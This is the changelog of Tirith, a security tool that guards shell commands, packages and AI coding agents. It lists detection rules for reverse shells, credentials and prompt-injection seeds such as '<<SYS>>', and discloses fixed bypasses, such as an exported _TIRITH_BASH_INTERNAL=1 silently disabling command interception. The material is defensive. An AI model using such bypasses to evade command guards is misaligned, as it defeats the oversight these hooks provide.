All notable changes to this project will be documented in this file.
The format is based on Keep a Changelog, and this project adheres to Semantic Versioning.
- Shell hooks resolve and pin trusted helpers on NixOS and other systems without standard FHS helper paths instead of discarding ordinary commands (#239).
doctorrecognizes mise shims that resolve to the current executable instead of warning that they shadow it (#240).- Shell and paste analysis no longer misclassify Go
./...package patterns, ordinary home-directory paths, or Codex zsh environment snapshots using[[andalias -Las incomplete analysis (#235, #236, #237). - ThreatDB updates quietly use the supported v1 channel when a dual-mode deployment has not published its v2 index. Authentication, integrity, and other server failures still surface (#238).
- ThreatDB source fetching accepts npm metadata served as
application/octet-streamonly after strict JSON-object and exact package-name validation, preventing a legitimate registry response from stopping publication. - ThreatDB provenance compares timestamps as instants, accepting equivalent timezone offsets from Git while retaining canonical UTC provenance and chronological checks.
- The source-pin watcher isolates write permissions, supports the repository workflow token, finds existing proposal PRs reliably, and rejects stale generated manifest transitions.
- On Unix, shell initialization binds Bash, zsh, and fish hooks to the running native executable, so npm and other process-spawning launchers no longer prevent strict receipt registration. Other platforms retain shell PATH resolution. The npm launcher also preserves signal termination instead of reporting success.
- Sourcing
shell/tirith.shlocates its own directory correctly in Bash and zsh, including installations with spaces or apostrophes in the path. - Long-running processes detect ThreatDB replacements within the same second and changes to the selected database path. Reloads retain signature verification and rollback protection.
- Trial subscriptions can refresh license tokens, consistently with the database's authorization checks.
- Daemon enrichment uses the same resolved policy as initial analysis, avoiding inconsistent decisions when configuration changes during a request.
- Recent-log diagnostics report when older history was not searched.
explainprovides usable guidance for finding entries outside that window.
- Legacy ThreatDB lookups for npm, RubyGems, Go, and Maven use the sorted package index directly. Registries with spelling aliases retain canonical lookup behavior.
- Command analysis compiles custom rules once per request and only redacts diagnostic rule IDs when a warning is emitted. The per-thread DSL regex cache has a bounded number of retained entries.
- Recent-log commands seek backward through a bounded suffix instead of parsing the entire audit history. Both the inspected bytes and individual line lengths are capped.
- Bash prompt callbacks avoid unnecessary history capture subprocesses while preserving typed-command and history-change checks.
- Legacy session correlation reuses one privacy-projected event window when expiring warning markers, avoiding repeated redaction of every event for each retained signature.
- Fuzz and packaging workflows cancel superseded pull-request checks so current changes reach runners sooner. Release-tag and other non-PR runs remain independent.
- Refresh the reviewed OpenSSF and DataDog source snapshots to September 11 revisions and synchronize their
NOTICEattribution entries (#245). - Update pinned QEMU setup, GitHub release, and SARIF upload actions to their reviewed upstream patch/minor releases (#242).
- One canonical ThreatDB source-pin manifest, and a daily watcher that proposes pin updates instead of applying them.
.github/threatdb-source-pins.jsonis now the manifest every build resolves the reviewed OpenSSF, DataDog, andecosyste-msrevisions from.fetch-threatdb-sources.shreads them throughthreatdb_source_pins.py resolveand refuses to start when the manifest does not validate: exact source set, reviewed upstream repository per source, lowercase 40-hex commit, RFC3339 UTC timestamps, a commit that does not postdate its own selection, and amax_lag_hoursinside 1 to 8760. A scheduled workflow (.github/workflows/threatdb-source-pins.yml, 02:37 UTC daily,mainonly) discovers each upstream's candidate, requires GitHub's comparison to report it strictly ahead of the current pin, rewrites the manifest, and then proves the candidate before asking anyone to look: it re-runs the pin unit tests and the fail-closed fetch fixture suite, performs a real source fetch, and compiles the exact snapshots with a public deterministic test key. OpenSSF only ever pins a completedAssign IDscommit, paginating up to 10 pages of 100, so a mid-ingestion tree is never selected. The output is a pull request onautomation/threatdb-source-pinswhose body carries the compare links, changed path prefixes, file-status counts, whether GitHub truncated the file list, and each source's lag against itsmax_lag_hours. The security boundary is deliberate: discovery runs on the read-onlygithub.tokenunderpermissions: contents: read, the workflow holds no ThreatDB signing key and publishes no database, it pushes only to its own automation branch, and the report says not to auto-merge. Operator action after upgrading this repository: pushing that branch and opening the pull request need a separately scopedTHREATDB_PIN_PR_TOKENrepository secret (contents plus pull requests, this repository only). Until it is set, the watcher fails at the token check the first time a pin actually changes. - The README documents the allowlist pattern grammar.
allowlistandallowlist_rulesmatch only URLs extracted from the input that appear in a finding's evidence. They never match raw command text, and a finding with no URL evidence cannot be suppressed at all, so a command-shaped entry such aslaunchctl listis inert. The README now spells out the grammar, which is the same onetirith trustuses, and points attirith policy effectiveandtirith policy test '<command>'for checking what a policy actually resolves to.
- Bash enter mode delivers and blocks, so an ordinary bash install blocks instead of only warning. A bare
bind -xon Enter runs the bound function but does not then accept the line on stock bash, so enter mode stashed the typed command and dropped it. The capability self-test correctly reported that, which is why every 0.4.0 bash user fell back to warn-only preexec and got no blocking without settingTIRITH_BASH_PREEXEC_ENFORCE=1(issues #111, #224). Enter is now bound to a readline macro that runs the checker throughbind -xand then a guarded accept-line: the accept sub-sequence stays bound to a no-op until_tirith_enterarms it, and_tirith_prompt_hookre-disarms it at every prompt, so typing or injecting the accept bytes cannot accept a line the checker never approved.operate-and-get-next(Ctrl-O) accepts a line without running the checker, so it is unbound while enter mode owns delivery, and the exact prior Ctrl-O binding is captured per keymap and restored on degrade. Bindings and the startup health gate coveremacs-standard,vi-insert, andvi-command, so a laterset -o vicannot expose an unguarded Enter. Every failure to arm or disarm rolls back: the pending command and its receipt are dropped, the receipt is discarded, the command goes back into the readline buffer, and the shell degrades to preexec. Verified over a real PTY with the real binary on GNU bash 5.2 and 5.3. The 0.4.0 gate is unchanged: enter mode is selected only when thetirith setuportirith doctorself-test has proven delivery for that exact bash version, path, and fingerprint, and an SSH session, a persisted safe-mode flag, or a forcedTIRITH_BASH_MODE=preexecstill selects preexec. - Published ThreatDB source provenance records when each pinned commit was authored and when its pin was chosen. Every Git source in
source-provenance.jsongainscommit_timestampandpin_selected_at. The fetch reads the commit time out of the checkout itself and aborts when a manifest-pinned tree disagrees with the manifest, andtirith-threatdb-compileverifies the pair independently rather than trusting the document: both fields must be present together or both absent, both must be RFC3339 UTC, the commit must not postdate its own selection, andverify_git_checkoutre-runsgit show -s --format=%cI HEADagainst the staged tree and refuses a mismatch. Provenance written before this release carries neither field and still validates, so older signed generations keep verifying.threatdb.ymlno longer keeps a second copy of the pins:THREATDB_OSSF_MP_REF,THREATDB_DD_MP_REF, andTHREATDB_TYPOSQUAT_REFare gone from its environment block. The overrides still exist for pre-review shadow builds, but an overridden ref now requires a matchingTHREATDB_*_PIN_SELECTED_ATor the fetch refuses to run. TIRITH_BASH_REQUIRE_ENTERis labelled reserved.tirith doctordisplayed it alongside the knobs that do something, but no hook reads it: it appears only in doctor's own display and its captured-environment list. Doctor now printson (reserved; not enforced by this version), anddocs/troubleshooting.mdsays the same, so nobody plans around an enforcement that does not exist yet.
- Tirith launched through a symlink lost execution receipts on macOS.
std::env::current_exereturns the launch path unresolved there, so registering or validating the shell receipt capability through Homebrew's/opt/homebrew/bin/tirithor an npm wrapper hit theO_NOFOLLOWidentity open on the symlink itself, failed withELOOP, and the shell fell back to legacy mode with no execution receipts. The launch path is canonicalized first. TheO_NOFOLLOWopen, the owner and group/other-writable checks, and thesymlink_metadatadevice/inode recheck all still run against the resolved path, so a symlink swapped in after canonicalization still fails closed. Reported in issue #221. - zsh silently dropped to legacy mode behind a forked subshell. The hook registered the protocol-v3 receipt instance through a command substitution. The Rust side binds the capability to its immediate parent pid, and whenever zsh's exec optimization is suppressed while the rc file is sourced (a prompt framework installing a
WINCHtrap earlier in the rc is the usual trigger) the substitution runs behind an intermediate fork, so registration was rejected,TIRITH_STATUSwent todegraded, and the session ran with no execution receipts. zsh now registers with a plain foreground command redirected into temp files, the way the bash hook already did, so tirith is a direct child of the main shell in every condition. The fish hook gets the same shape for consistency, not because it had the zsh failure. All three hooks also stop discarding the register stderr: the first line of the rejection is kept in_TIRITH_RECEIPT_REGISTER_ERRORand printed under the legacy-mode warning, so a downgrade says why. Reported in issue #221. noclobberbroke the hooks' private capture files. A redirect into a filemktemphas already created fails undernoclobber, and bash used a plain>everywhere. The bash redirects are now forced with>|across receipt registration, the preexec check, the DEBUG-trap bootstrap command, and the enter-mode check and paste paths; zsh gains the same on its registration redirect, its accept-line and paste widgets having already carriedsetopt localoptions clobber. A rejected zsh registration is also kept inside an explicit condition soERR_EXITcannot kill hook initialization before the rejection is recorded and the honest fallback runs, and both branches clean up their temp files.- The "how to actually block this" advice pointed bash users back at bash. The warn-only block advisory recommended "an enter-capable shell (bash 5+/zsh/fish)", so a bash 5 user was told to switch to bash 5. It now names zsh or fish, plus the path that blocks on bash without enter mode:
export TIRITH_BASH_PREEXEC_ENFORCE=1before thetirith initline.tirith doctorprints the same remedy whenever it still applies, and adds that a forcedTIRITH_BASH_MODE=enterhas to go, because preexec enforcement only arms in a shell that starts in preexec mode. When enforcement is already armed and the shell is blocking, doctor prints neither line. tirith receiptclaimed to manage execution receipts. It fronts the download receiptstirith runwrites, and the wrong noun sent the reporter of issue #221 hunting for shell execution receipts in a store this command has never touched. The command help now reads "Manage download receipts recorded bytirith run", the after-help says shell execution receipts are a separate store with no CLI viewer, the empty-store message names the directorytirith runactually writes to, anddocs/compatibility.mdmatches.- The repo-policy neutralization notice never reached anyone with a user or org policy.
warn_repo_policy_neutralizedkeyed onpolicy.scope == Repo, but since the baseline plus overlay merge the merged policy carries the trusted baseline's scope, so a repo overlay whose weakening fields were dropped produced no warning at all for an operator with a user or org policy in place. It now keys on the recorded drop set, which only repo sanitization populates, so it still cannot fire for a purely trusted policy.tirith policy effectivealready listed the full drop set and is unchanged. _tirith_ensure_prompt_hookaborted instead of degrading whenPROMPT_COMMANDwas readonly. The reattach path assigned toPROMPT_COMMANDwithout checking its attributes first, and assigning to a readonly variable is a fatal error in bash: the function died before it could return non-zero, so the runtime self-heal never reported a failure and the session never degraded. It now refuses unsafe attributes up front, the same_tirith_prompt_command_attrs_safecheck the preexec guard install already used, and confirms the reattachment actually took effect before returning success. Latent before this release; the enter-mode work exposed it.- ThreatDB reviewed source pins advanced, and the fetch can materialize and hash the tree they point at. The OpenSSF revision moves from
1ea2762dto54642f7eand the DataDog revision fromef4a781dto2d098390; theecosyste-mstyposquat pin is unchanged. That OpenSSF tree is roughly 200k sparse-materialized advisory files, soTHREATDB_FETCH_TIMEOUT_SECONDSnow defaults to 300 instead of 180; the 600sTHREATDB_TRANSACTION_TIMEOUT_SECONDSend-to-end deadline and the separate 420s registry-snapshot budget are unchanged. Content hashing no longer forkssha256sumandcutonce per file, close to half a million subprocesses on the current tree:.github/scripts/hash-threatdb-tree.pyruns once under the samerun_boundeddeadline and folds the identical path-NUL/digest-NUL byte stream into one digest, so publishedcontent_sha256values are byte-for-byte what the old loop produced, and a fixture test recomputes the digest with the old shell oracle and fails on any difference. The hasher useslstatandos.walk(followlinks=False), keepingfind -type fsemantics: symlinks are neither followed nor hashed, and the OpenSSF fixture now plants one to prove it. tirith updateon a Hermes-managed install no longer refuses with package-manager advice. A Tirith release cached at$HERMES_HOME/bin/tirithmatched no branch ofdetect_install_method, so it classified asUnknown, and on a Debian or RPM hostrefine_system_pmturned that intoaptordnf.updatethen exited 0 having changed nothing, telling the user todpkg -iorrpm -Ua package they never installed, and--rollbackrefused outright. Such an install is now treated as self-replaceable and runs the existing path unchanged: signed download, mandatory cosign verification (checksum-only only with--allow-unsigned), atomic swap keeping thetirith.tirith-previoussidecar, and--rollback. Recognition is proof-based and Unix-only, and only a binary whose path resolved cleanly and classified asUnknownis even a candidate. The root (HERMES_HOME, else~/.hermeswhen that variable is unset; an emptyHERMES_HOMEdisables the path entirely) must be absolute and lexically normal, so a relative path, a..component, or an alias spelling such as/safe/./rootis refused, and it must not be a system or package-manager root (/usr,/usr/local,/opt/homebrew,/nix/store, a Cellar, and the rest of the deny list). The layout must be exactly<root>/bin/tirithor<root>/profiles/<profile>/bin/tirith. The root, every traversed directory, and the binary must be owned by the current effective uid, must not be symlinks, must carry no group or world write bit, and must carry no POSIX ACL entry granting write to another principal, checked by the newtirith_core::trusted_child::validate_unix_trusted_path_acl, which fails closed when ACLs cannot be read. The binary must canonicalize back to the running executable, and a tree carrying Cargo's install metadata (.crates.tomlor.crates2.json) is never granted self-replacement, the same signal~/.local/binalready uses. The proof is re-run immediately before the swap and again before a rollback; a boundary that changed since classification aborts with exit 1 and a message naming ownership, permissions, and path, rather than falling through to generic self-management.install_methodreportshermesintirith version --provenanceandverify-selfJSON, and a Hermes update never requests the privileged package-approval-helper effect or installs that helper. The publictirith_core::selfupdate::InstallMethodenum is deliberately untouched, so this patch release adds no variant to it:hermesis a CLI-private origin (CliInstallOrigin::Hermes) layered overSelfManagedand rendered only byinstall_method_token.- Migrated the mutable ThreatDB publication channel to
threatdb-currentafter GitHub sealed the formerthreatdb-latestrolling release. The signed legacy channel remains intact as a last-known-good fallback, while new manifests, assets, pruning, and v2 rollback operations use the replacement channel.
- Python artifact inspection and an enforcing package firewall. Package extraction retains exact, range, compatible, exclusion, and unresolved version intent instead of flattening every requirement to a name.
tirith package inspectanalyzes exact wheel sets or installed environments without downloading them: a hardened streaming reader rejects archive ambiguity and structural abuse; strict wheel RECORD and ownership checks find tampering and cross-distribution collisions;.pth,.start,sitecustomize, andusercustomizestartup execution is modelled; and ELF, Mach-O, and PE triage correlates native imports and loader-to-payload chains.tirith pkgadds quarantine, resolution through an enrolled staticuv, exact digest binding, approval records, a root-owned native authority, hash-pinned contained pip installation, installed-environment verification, provenance graphs, release differentials, PyPI attestation binding, and tamper-evident receipts. Enforcement is intentionally Python-only and x86_64-Linux-only; npm and Cargo remain non-enforcing evidence surfaces. - ThreatDB v2 and artifact-level reputation. The signed database can now index artifact SHA-256 values, installed-file hashes, malicious URLs, campaign membership, and behavior tags in bounded v2 sections while retaining the v1 package/domain/IP path for older clients. The loader, compiler, updater, and signed multi-asset index support a staged dual-format rollout, sequence rollback prevention, transactional publication, and a signed last-known-good fallback. OpenSSF malicious-package indicators retain their real event and range semantics instead of promoting a bounded record to a whole-package block; typeless
MAL-*reports are treated as confirmed malicious records. A DigitalSide parser/source is defined but remains deliberately inactive until its freshness and operating contract are approved. - Artifact-aware scan outcomes and coverage truth. File routing now starts from bytes read through one no-follow handle rather than trusting a suffix. Typed scan outcomes distinguish a clean inspection from a skipped artifact, an unsupported format, a rejected structure, and budget exhaustion; global output budgets preserve higher-severity findings and
analysis_incompleteevidence. The shared artifact subject/signal model gives policy and product surfaces one representation for ownership, execution edges, payloads, native code, and incomplete coverage. - Expanded exploit and secret detection. Structural GitHub Actions checks cover mutable actions, privileged triggers, expression-to-shell injection, and cross-workflow artifact poisoning. Command analysis adds reverse-shell and suspicious inline-interpreter patterns plus OpenAI, Hugging Face, PyPI, and PGP credential shapes. PDF preflight rejects excessive object nesting and compressed-stream abuse before deep parsing, while terminal and human CLI output neutralizes control sequences and deceptive Unicode in untrusted fields.
- Pinned hook runtimes. Every generated Python-backed hook now records the validated absolute interpreter selected by setup instead of resolving a bare
python3later from the agent's repository-influencedPATH. The first PATH hit is authoritative and an interpreter selected from a repository or temporary directory makes setup fail closed; it is never skipped in favor of a later binary. Cline's optional Linuxxdg-user-dirlookup likewise accepts only a validated system helper, executes it with a cleared environment and root-managed utility PATH, and refuses an untrusted first hit without running it. Re-run setup if the pinned interpreter moves. Doctor no longer treats legacy Cline/OpenHands wrappers that use ambient Python as effective blocking hooks. - Order-independent runtime package enrichment. Distinct versions of the same canonical package are retained through OSV/deps.dev enrichment while exact duplicates still share one lookup. Every package receives an equal deadline slice, so a slow first registry request cannot starve later candidates. OSV, deps.dev, ecosyste.ms, and KEV now return typed complete/unsupported/incomplete outcomes; timeouts, transport failures, malformed responses, missing defaults, unsupported constraints, and defaults that do not satisfy a requested constraint produce a Medium
analysis_incompletefinding that explicitly says it is not malicious evidence. A failed lookup can no longer collapse into the same state as a complete negative response or emitthreat_unresolved_malicious_packagewithout a malicious record. - Blocking pre-execution hooks for Prime Agent, OMP, Cline, and OpenHands. These four hosts document a hook that can refuse a command, so setup now installs one instead of registering MCP alone. Prime Agent and OMP receive the shared Pi-family guard (
pi.on("tool_call"), vetoing with{ block: true, reason }); both also block when the handler throws, so a guard crash fails closed there. Cline gets the globalPreToolUsehook in its Documents directory (resolved through a trustedxdg-user-dir DOCUMENTSon Linux, the Windows Documents known folder on Windows, and~/Documentselsewhere), and OpenHands gets.openhands/hooks.jsonwith aterminalmatcher at both scopes, matching the two locations its SDK searches: the working directory (OPENHANDS_WORK_DIR, otherwise the current directory) under--scope project, and~/.openhandsunder--scope user. Existing unrelated OpenHands hooks are preserved; only the Tirith entry is replaced. Neither Cline nor OpenHands can pass environment to a hook, so setup records the validated absolute Python and Tirith paths in a generated host wrapper. Every host writes the hook before the MCP entry, so a partial failure leaves the half that can refuse a command. Grok Build, Cline, and OpenHands all let the tool run when a hook itself errors on their side; Tirith's adapter is fail-closed but cannot compensate for that. Cline runs aPreToolUseexecutable on POSIX and aPreToolUse.ps1through PowerShell on Windows; setup installs whichever the platform uses, both forwarding stdin and stdout through the same adapter. Its currentrun_commandsbatches and legacyexecute_commandevents are both checked; malformed batches fail closed, applicable POSIX/PowerShell/Cmd grammars are evaluated conservatively, and every intentional Cline outcome emits an explicit JSON allow or deny envelope. - IPython cell execution-vector extraction. Prime Agent exposes an
ipythontool, and a notebook cell can reach a shell through several syntaxes at once. The guard collects every vector it can recognise in a cell rather than stopping at the first, and refuses the cell by default when it finds one it cannot read:!cmd,!!cmd,x = !cmd,%system/%sx, the%%bash/%%sh/%%script <shell>cell magics, and Python-levelos.*,subprocess.*andpty.spawncalls. Reconstruction preserves canonical alias identity, eachexec*/spawn*argv signature,subprocess shell=True, Unicode/NFKC identifiers, Python string escapes, comment boundaries, and/usr/bin/envscript interpreters; other executing magics fail closed instead of disappearing. Recovered commands are joined into one script and sent totirith checkin a single call, so the engine makes every decision and the extension makes none; a vector whose command is computed at runtime is blocked by default rather than approximated, andTIRITH_HOOK_UNRESOLVED_ACTION=warnopts out. Source-level extraction still cannot prove arbitrary Python safe (an earlier-cell wrapper,getattr,__import__, or a third-party process spawn), and the documentation says so.tests/ipython-vector-extraction.mjsexercises the exact shipped bytes, with engine-level tests for reconstructed shell commands. - Documented integration setup for nine additional open-source agents:
tirith setupnow registers the validated absolute Tirith stdio server with Grok Build, profile-aware OMP (user-only), stable precedence-aware OpenCode (user/project), Vercel Labs fx (trusted user profile only), Prime Agent's generic MCP runtime (user-only; its blocking guard is described in the entry above), Cline (user-only, includingCLINE_DIR/data/file overrides; its blocking hook is described above), Roo Code (project-only), Continue (a Tirith-owned project MCP block), and OpenHands CLI (MCP is user-only, includingOPENHANDS_PERSISTENCE_DIR; its blocking hook installs at both scopes, described above). Prime's generic runtime accepts local stdio servers even though its separate authored PythonMcpIntegrationwrapper API remains HTTP-only. OMP followsPI_CONFIG_DIR, profile precedence, strict JSON, and its higher-precedencedisabledServersoverride; unresolved path/profile/overlay variables imported from applicable OMP or Bun launch dotenv sources fail closed instead of targeting the wrong profile, with named-profile and alias-mirroring distinctions preserved. OMP project setup is deferred because its heterogeneous provider-settings merge can suppress an otherwise valid local MCP file. OpenCode follows the inspectable XDG, ordinary/nested JSONC, config-directory, project-disable, and inline-content layers, refusing a locally shadowed registration; later organization and administrator-managed layers require host verification. Grok Build writes project MCP config at the invocation directory, installs its trusted hook at the Git root, reconciles the userdisabled_mcp_serversoverride transactionally, and preflights both artifacts before publishing its documented blocking POSIXPreToolUsehook, with the host's fail-open-on-error/timeout limitation stated explicitly. Format-aware updates preserve unrelated configuration; Prime, OMP, fx, Cline, Roo, and OpenHands reject host-invalid comments or trailing commas, while Prime accepts only its zero-byte bootstrap, Cline accepts trimmed-empty bootstrap content, and OpenCode retains JSONC. Contained transactional writes and backups, private user modes, dry-run, force, idempotence, and documented custom roots are covered. MCP remains cooperative rather than automatic interception; Pi CLI's blockingtool_callguard now pins the same validated absolute Tirith path instead of resolving the agent environment orPATH, and is the same asset Prime Agent and OMP install. Goose, Aider, and unstable or host-managed hook surfaces are documented as deferred instead of receiving speculative config. - Web3 command guard: a bounded grammar for Cast, Forge, Hardhat, Solana, and Anchor invocations, wired into the engine so every surface built on it (
tirith check, the shell hooks,tirith_check_command, the gateway) sees it. Three new rule IDs:web3_state_changing_command(Medium, High when the same command also disables a declared safety control such as--skip-simulation),web3_signer_risk(Critical for literal raw key, keypair, or mnemonic material in argv; High for an unlocked node or an interactive prompt), andweb3_network_policy_violation(High for a denied endpoint or an impermissible signer). Evidence is categorical: findings name the tool, operation, and signer KIND, never a key, keystore path, destination address, or the raw command. An operation explicitly aimed at devnet, testnet, or a loopback endpoint produces no state-change finding. This is grammar and policy: no chain state is read, no transaction is simulated, and no address is scored. web3_guardpolicy section: trusted networks keyed on real chain identity (an EVM chain id, or a Solana cluster plus genesis), structured RPC matchers with an explicitsubdomainsdecision instead of free-form regex, a signer allow-list with no spelling for raw secret material, denial lists, and three explicit actions. Defaults are observational, and with no networks declared the unclassified-endpoint path does not fire at all. A repository-scoped policy may TIGHTEN but never authorize: grant-bearing collections RESET, denial collections UNION, actions and modes take the stricter value, andtirith policy effectivenames every neutralized key.- Command card schema 2: Web3 operation bindings (network, family, chain or genesis identity, signer KIND, destinations, artifact hashes, policy identity, the ordered operation set, and the authorized approval key). A card may never bind raw signer material, a v1 card can never approve a Web3 operation, and operation comparison is ordered-set equality. Both new fields are omitted from the JSON unless set, so v1 signing bytes are byte-identical and every checked-in v1 signature still verifies.
- Untrusted task envelopes and the
task_gatepolicy: a bounded envelope format that keeps "this came from an issue body" attached into the effect decision. The caller never gets to say where content came from; effective provenance is assigned by the tirith-owned ingress adapter, and no source kind is trusted, including repository config. Operations define their effects, natural language infers nothing, and the decision only ever narrows.task_gatedefaults tomode: offand anoffgate does not even write an audit line. tirith task check: diagnostic assessment of a task envelope from a file or stdin, human or JSON, declaringenforceability: observe_only. Executes nothing, fetches nothing, resolves no package, and writes nothing.tirith_check_taskMCP tool (preview): the same assessment over MCP, rendered from the same shared projection. It is absent from the defaulttools/listand refused by name unlessTIRITH_MCP_PREVIEW=1is set, because the default list is a frozen compatibility contract that clients cache.- Task-gate enforcement at tirith-owned transitions: one shared adapter invoked immediately before nine irreversible steps (the MCP gateway forward,
pkg approve,pkg installresolve and prepare,install <manager>network and spawn,run <url>andinstall url <URL>, a tirith-owned config write, and the capsule preset run). Enforcement keys on the MODE, never on the denial set; observe mode decides without withholding, and writes an audit line at the gateway-forward boundary only; and a config write is held open by a single-use, non-Clonepermit that rechecks both the content digest and the bound path before publication. tirith capsule run --preset untrusted-project: copy an untrusted project into a held ephemeral directory and run an exact argv inside a fail-closed OS capsule, with a content-addressed receipt (including on a refusal), signed when this installation has an audit key and anchored in the audit chain when one is configured. The copy REFUSES on a symlink, hardlink, filesystem boundary, escape, case or Unicode collision, fifo, socket, device, or non-UTF-8 name rather than skipping it. Enforceable on x86_64 Linux with a usable Landlock ABI and nowhere else; every other host refuses before anything is copied or spawned, naming the exact missing control, with no degraded fallback. Domain allow-listing is deliberately not offered, becausedomain_proxy_enforcedis false in every backend.- Cross-workflow GitHub Actions artifact-flow analysis:
workflow_artifact_poisoning(High), emitted from a bounded repository post-pass duringtirith scanover a directory. A High requires the complete proven chain from a fork-reachable producer to a privilegedworkflow_runconsumer bound to the triggering run with an execute, source, PATH-mutation, publish, or deploy sink; anything less is recorded as incompleteness. The presence-levelworkflow_run_triggerfinding is downgraded to Medium only for consumers the post-pass had full visibility into. The post-pass lives inscan::scan, so every directory-scan caller runs it, including thetirith_scan_directoryMCP tool and the MCP scan resources; per-file analysis (tirith checkon one file,tirith_scan_file, and the LSP) does not and keeps the original severity. tirith browser audit: explicit, one-shot, read-only integrity audit of installed Chromium-family extension source trees (Chrome, Chromium, Brave, Edge; Firefox and XPI refused by name), with tree digests, declared permissions and execution surfaces, install class, and typed drift against a signed content-addressed baseline. Exactly three Preferences fields are read; cookies, history, saved passwords, storage, wallet databases, andLocal Stateare never opened, so the audit cannot see browsing data or the signed-in account.tirith pkg attest-npm: resolve npm through the trusted-executable mechanism, discover its exact version, and run one argv from a closed, fixture-backed contract table, binding npm's own answer to the exactpackage-lock.jsonandnode_modulesinventory. Tirith does not download, inspect, or bind the tarball bytes npm installs.tirith attest {build,verify-build,deployment,verify-deployment}: content-addressed, signed, point-in-time receipts over a source tree, an output tree, and a set of deployed routes on one HTTPS origin. Not a reproducible-build claim and not continuous monitoring;verify-deploymentre-checks the document and makes no network request.- npm command grammar and registry identity facts: one
npm_commandgrammar replacing four divergent private copies, coveringnpm,npx,pnpm,yarn,bun, andbunxincludingdlx,exec, andci. Registry identity facts (tarball URL, parseddist.integritySRI, legacy shasum status, signature and attestation state) are parsed and explicitly never claimed as verified. - Documentation: enforcement coverage, Web3 command guard, task envelope, untrusted projects, CI artifact flow, browser extension audit, npm provenance receipt, attestation receipts, rollout and rollback, and a research note on the synthetic issue-trojan corpus.
- Security-critical work is now bounded and stateful by construction. Child execution is supervised through process groups or Windows job ownership with explicit timeouts and terminal states. Downloads, setup, policy, registry, checkpoint, trust, canary, receipt, audit, and ThreatDB paths use transactional publication, no-follow or retained-handle identity checks, private state, and explicit incomplete outcomes instead of best-effort continuation. Network clients apply URL, redirect, DNS-rebinding, proxy, response-size, and time budgets. JSON, SARIF, MCP, and human renderers share redaction and output limits rather than each inventing a partial boundary.
- Linux release compatibility and package identity: x86_64 and aarch64 GNU artifacts now target an honestly verified GLIBC 2.28 ceiling and are smoke-tested on AlmaLinux 8, Amazon Linux 2023, and Rocky Linux 9. Debian and RPM packages embed the canonical release executables instead of rebuilding them, so
verify-selfuses the same byte identity across tarball and package installs. Release tooling, container images, and GitHub Actions are immutably pinned, and validation-only pull-request runs remain separated from tag-only publication. - Bounded MCP output inspection: structured and ordinary tool output now preserves logical leaf boundaries while also detecting cross-leaf content, applies explicit depth, node, leaf, byte, decode-candidate, and join-work ceilings, and maps exhausted analysis to
analysis_incompleteinstead of misreporting a credential finding. Supported-secret redaction carries independent secret/incomplete status, so large benign BIP-39-adjacent prose no longer becomes a false credential incident. - ThreatDB publication correctness: source processing is restricted to the intended active malicious records; OSV event states are parsed into an explicit range model that distinguishes a semantic whole-package claim from a bounded interval, so a bounded range can no longer become a package-wide false block; Datadog npm and PyPI manifest locations and shapes are parsed exactly; the typosquat source path is wired through end to end with explicit rejection accounting; and the fetch and publication transaction refuses to publish a partial source tree, preserving the signed last-known-good database.
- Sensitive-asset handling is centralized. One catalog now owns reviewed wallet, keystore, browser-wallet, desktop-wallet, and Solana-keypair paths, BIP-39 checksum validation, EVM scalars, access tokens, and hosted RPC credentials, with target-explicit POSIX, macOS, and Windows path semantics. Redaction of both secret VALUES and private PATHS is mandatory before and after layout sanitization and before truncation, across findings, evidence, verdicts, the audit chain, session and execution state, SARIF, and every CLI, MCP, gateway, and manual renderer.
- Byte-based content classification. File dispatch is decided by magic bytes on the already-open no-follow handle rather than by suffix, with bounded archive preflight and explicit routing for misnamed, extensionless, malformed, polyglot, archive, native, and unknown-binary content. Global finding, evidence, text, JSON, human, CLI, MCP, and SARIF budgets apply, with High, Critical, and
analysis_incompletepreserved ahead of lower-value findings. - PDF hidden-instruction analysis now reasons about fill and stroke colour, alpha, render mode, transforms, forms, and optional content, and routes both visible and hidden extracted text through the shared seed, deobfuscation, credential, and confirmation-suppression logic. Unsupported colour spaces and renderer cases record explicit incompleteness.
docs/capability-manifest.tomlgains six entries (task check, the fourattestsubcommands, andpkg attest-npm) and its C00 freeze hash moves, with the entry-by-entry verification recorded intests/fixtures/c00/contracts.toml.- Prompt-injection seed narrowing: the
<<SYS>>seed no longer compiles to a pattern matching any HTML or XML tag, and a baresystem:seed no longer matches inside ordinary words or Kubernetes RBAC principals. Both were live High false positives that dropped whole tool results. An operator's owninjection_seeds_customkeeps the documented<role>placeholder behaviour.
- Bash hook state inherited from the environment is no longer trusted: the hook read several session-local variables before it ever wrote them.
_TIRITH_BASH_INTERNAL=1is the first line of_tirith_preexec, so a parent process that exported it switched off command interception for the whole session without touching a config file, a policy, or the hook. The per-line decision cache, the DEBUG-chaining slot the trampoline evaluates, and the one-shot degrade latches had the same shape. All are now dropped when they arrive exported; values assigned inside the session are untouched. - Chained DEBUG traps that return early no longer disable the hook: a DEBUG trap body normally runs at the top level, where
returnis a no-op, so real handlers use it as an early exit.bash-preexec.sh— the base of oh-my-bash, Atuin and iTerm2 shell integration — opens with exactly that shape. The captured body was evaluated inline, so itsreturnleft Tirith's own trampoline before the scan. It now runs in a frame of its own. - A stolen DEBUG trap is now reported instead of silently ending protection: the caller's trap was captured once at the first prompt and never rechecked, so anything that ran
trap ... DEBUGlater replaced the trampoline while the shell kept reportingblocks. Ownership is now proven every prompt cycle by the trampoline's own heartbeat, becausetrap -p DEBUGreads back empty inside a function. Tirith does not take the trap back; it says protection is off. - Grok Build setup (hook refresh, denylist, ordering, warnings):
--update-configsrefreshed the static hook script and returned before writingtirith.json, the only file carrying the absolute hook path andTIRITH_BIN, so the one command meant to repair a moved binary skipped the only file that goes stale. Project setup leftdisabled_mcp_servers = ["tirith"]in the project config it had just registered a server into. The MCP entry was written before the hook, so a failure between the two writes could leave advertisement without enforcement. And Grok's decision envelope carriesreasononly for deny, so every warn-allow finding was serialized away; it now reaches the user on stderr while stdout keeps the envelope Grok parses. - Bounded MCP response inspection: a response already blocked by the text scanner returns immediately instead of decoding attacker-supplied blobs. Responses that remain eligible for forwarding share explicit URI/blob node, blob-count, and violation-count budgets; exhausting any of them blocks with
analysis_incomplete. Resource URIs now allow only relative references, fully screened HTTP(S), and the explicit internaltirith:/ui:schemes rather than presuming unknown absolute schemes are non-network. Inline blobs require one complete canonical padded or unpadded Base64 encoding, reject suffix, padding, and trailing-bit aliases, and are MIME-sniffed in nestedprompts/getresources as well as top-level reads. - Confusable punctuation boundaries: non-ASCII punctuation such as U+3002 now terminates token context for ordinary prose without suppressing a confusable hostname signal such as
